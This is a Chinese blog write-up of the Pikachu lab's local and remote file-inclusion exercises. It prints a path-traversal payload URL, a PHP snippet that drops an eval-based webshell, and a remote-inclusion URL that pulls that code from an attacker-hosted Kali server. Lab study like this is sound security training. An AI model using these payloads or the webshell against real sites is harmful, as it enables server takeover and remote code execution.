四、pikachu之文件包含

1、文件包含漏洞概述

1.1 文件包含漏洞

  文件包含漏洞:在web后台开发中,程序员往往为了提高效率以及让代码看起来更简洁,会使用“包含”函数功能。比如把一系列功能函数都写进function.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include function.php?>就可以调用函数代码。但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件(代码)。

  需要注意的是,php的文件包含不管文件后缀名是什么,只要包含php代码,就可以被当作php代码解析。

1.2 相关函数

  文件包含包含函数:在php中,通过include()、include_once()require()、require_once()语句,可以将php文件的内容插入另一个php文件(在服务器执行它之前)。include()include_once()的区别在于include_once()只能包含一次相同的文件。

  includerequire函数在错误处理方面有所不同:

  • require会生成致命错误(E_COMPILE_ERROR)并停止脚本;
  • include只生成警告(E_WARNING),并且脚本会继续。

1.3 文件包含漏洞分类

  根据不同的配置环境,文件包含漏洞分为本地文件包含漏洞远程文件包含漏洞
(1)本地文件包含漏洞
  仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。
(2)远程文件包含漏洞
  能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码。

  此处的本地指的是服务器端,远程指的是非服务器端。

2、File Inclusion(local)

(1)在搜索框中选择kobe之后1,url变为:http://192.168.92.1:32769/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4
在这里插入图片描述

  观察到url中出现filename=file1.php,那么该目录下是否存在fileX.php文件呢?

(2)发现隐藏文件,对文件名进行爆破,可以发现file6、file7、file8、file9、file10、file100返回异常。说明存在隐藏文件。
在这里插入图片描述

(3)读取不同文件夹的文件

  filename=file9.php返回了报错,通过这个报错,可以知道fi_local.php中用来进行文件包含的函数是include(),并且包含的文件路径为与fi_local.php同文件夹下include文件夹中的文件。
在这里插入图片描述

  payload:http://192.168.92.1:32769/vul/fileinclude/fi_local.php?filename=/../../&submit=%E6%8F%90%E4%BA%A4,可以发现现在include函数中的相对路径已经跳转到了/app/vul路径下了。也就是说只要我们知道某个文件的相对位置,就可以访问它。

在这里插入图片描述

3、File Inclusion(remote)

(1)远程文件包含这里,同样是通过传递一个文件名进行包含。
在这里插入图片描述
(2)filename改为www.baidu.com后,会直接访问百度;
在这里插入图片描述
(3)在 Kali 上,在 /var/www/html/ 中新建一个shell.txt,输入下面的内容:

<?php
$myfile = fopen("shell.php", "w");
$txt = '<?php @eval($_POST[cmd]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>

  同时,使用service apache2 start开始apache服务,构造payload:
http://192.168.92.1/vul/fileinclude/fi_remote.php?filename=http://192.168.92.1/shell.txt&submit=提交

在这里插入图片描述

  貌似什么也没发生,我们需要访问生成的shell.php文件就可以拿到webshell了。

(4)连接webshell
在这里插入图片描述

  另外,远程包含漏洞前提:如果使用 includer 和 require ,则需要 php.ini 配置如下:

allow_url_fopen = on;(默认开)
allow_url_include = on;(默认关)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值